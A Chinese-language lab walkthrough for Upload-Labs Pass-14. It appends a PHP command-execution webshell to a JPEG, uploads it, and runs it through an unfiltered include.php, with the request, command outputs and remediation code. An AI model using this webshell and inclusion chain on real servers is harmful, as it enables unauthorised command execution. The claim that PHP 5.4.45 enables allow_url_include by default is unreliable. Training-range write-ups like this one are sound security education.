绕过文件上传漏洞并利用文件包含漏洞获取系统信息的技术分析
绕过文件上传漏洞并利用文件包含漏洞获取系统信息的技术分析
一、实验环境
- 靶场平台:Upload-Labs(Pass-14)
- 靶机系统:Windows 8 Business Edition (NT 6.2)
- Web服务:Apache + PHP 5.4.45
- 关键漏洞:
- 文件上传绕过漏洞
- 文件包含漏洞(include.php)
- 实验工具:010 Editor(十六进制编辑器)
二、技术原理
1. 文件上传绕过核心
- 文件签名欺骗:通过010 Editor在真实图片文件(JPEG)末尾注入恶意PHP代码
- 绕过检测机制:
- 文件头保留合法的JPEG签名(
FF D8 FF E0
) - 文件内容包含完整的图片数据
- 在文件尾追加PHP代码:
<?php system($_GET['cmd']);phpinfo();?>
- 文件头保留合法的JPEG签名(
2. 文件包含漏洞利用
- 动态文件包含:
include.php
未过滤file
参数 - 远程文件包含:支持
http://
协议包含外部文件 - 代码执行:PHP解析器会执行图片中的PHP代码
三、完整攻击步骤
步骤1:构造图片木马
00000000: FFD8 FFE0 0010 4A46 4946 0001 0101 0100 ......JFIF......
00000010: FFDB 0043 0005 0607 0605 0807 0607 0908 ...C............
... (合法的JPEG图片数据) ...
000001F0: FFDB 0043 0108 0909 0C0A 0C17 0C0C 1700 ...C............
00000200: FFDD 1A12 BAB1 49D8 8BC8 6E72 3FCF B52A ......I...nr?..*
00000210: DBB3 67C5 7573 68AB 0A64 93F7 B0AB FD6A ..g.ush..d.....j
00000220: 68F4 68E3 0723 E7E4 AFE1 DF5F 7461 2A44 h.h..#....._ta*D
00000230: B99C 0440 0879 EB47 D693 E549 5203 B205 ...@.y.G...IR...
00000240: 2629 7D0A 35A0 5F3F F09F A540 3AA8 A0FD &)}.5._?...@:...
00000250: FA7C 9191 095C F502 91C7 CDF8 1A8E 5FB7 .|...\........_.
00000260: 4010 D140 A2A4 02D2 D21A 4312 9452 528A @..@......C..RR.
00000270: 6039 4C4C 86A0 1534 7401 28A5 ED48 2945 `9LL...4t.(..H)E
00000280: 2500 14EA 2803 FF00 D9DC 13B4 28CA 3E45 %...(.......(.>E
00000290: 7CE0 A434 BC52 F912 71A2 B51F E1BF 3C3F |..4.R..q.....<?
000002A0: 7068 7020 7379 7374 656D 2824 5F47 4554 php system($_GET
000002B0: 5B27 636D 6427 5D29 3B70 6870 696E 666F ['cmd']);phpinfo
000002C0: 2829 3B3F 3E0A ();?>.
步骤2:上传恶意图片
- 访问上传页面:
http://192.168.1.24/upload-labs/Pass-14/index.php
- 选择构造的图片木马上传
- 获取存储路径:
http://192.168.1.24/upload-labs/upload/7320250810030340.jpg
步骤3:利用文件包含漏洞
GET /upload-labs/include.php?file=http://192.168.1.24/upload-labs/upload/7320250810030340.jpg&cmd=dir HTTP/1.1
Host: 192.168.1.24
步骤4:执行系统命令(示例)
命令参数 | 功能 | 示例输出 |
---|---|---|
cmd=dir | 列目录 | A032-9EC7 C:\phpStudy\WWW\upload-labs\upload |
cmd=whoami | 当前用户 | nt authority\system |
cmd=ver | 系统版本 | Windows 8 [版本 6.2.9200] |
四、关键漏洞分析
1. 文件上传绕过点
// 伪代码:Pass-14的检测逻辑
if(is_image($_FILES['file']['tmp_name'])) { // 仅检测文件头move_uploaded_file(); // 直接保存文件
}
2. 文件包含漏洞源码
// include.php 关键代码
$file = $_GET['file'];
include($file); // 未过滤直接包含
3. PHP配置缺陷
; php.ini 危险配置
allow_url_fopen = On
allow_url_include = On ; 允许远程文件包含
五、防御方案
1. 文件上传安全加固
// 安全的验证方案
$allowed_types = ['image/jpeg', 'image/png'];
$extension = pathinfo($filename, PATHINFO_EXTENSION);if(in_array($_FILES['file']['type'], $allowed_types) &&in_array($extension, ['jpg','jpeg']) &&getimagesize($_FILES['file']['tmp_name']) // 真实图片检测
) {// 重命名文件+设置存储目录无执行权限$new_name = md5(uniqid()).'.jpg';move_uploaded_file($tmp_name, "/var/www/uploads/$new_name");
}
2. 文件包含漏洞修复
// 白名单过滤方案
$allowed_files = ['header.php', 'footer.php'];
if(in_array($_GET['file'], $allowed_files)) {include($_GET['file']);
} else {die("Invalid file request!");
}
3. 服务器加固措施
# Nginx配置禁止上传目录执行PHP
location ~* ^/uploads/.*\.(php|phar)$ {deny all;
}
六、技术总结
-
双重漏洞组合利用:
- 文件上传绕过 → 获取攻击立足点
- 文件包含漏洞 → 实现代码执行
-
Windows系统特性:
- 文件扩展名检测不严格(
.jpg
中的PHP代码仍可执行) - 路径解析特性(
::$DATA
流等绕过方式)
- 文件扩展名检测不严格(
-
PHP版本影响:
- PHP 5.4.45存在
allow_url_include
默认开启风险 - 旧版本对特殊字符过滤不足
- PHP 5.4.45存在
防御核心:采用"纵深防御"策略,在文件上传、存储、访问三个层面分别设置安全措施,避免单点防护失效导致系统沦陷。
此技术文章可用于网络安全知识分享,请严格遵守《网络安全法》,仅用于授权测试和教育目的。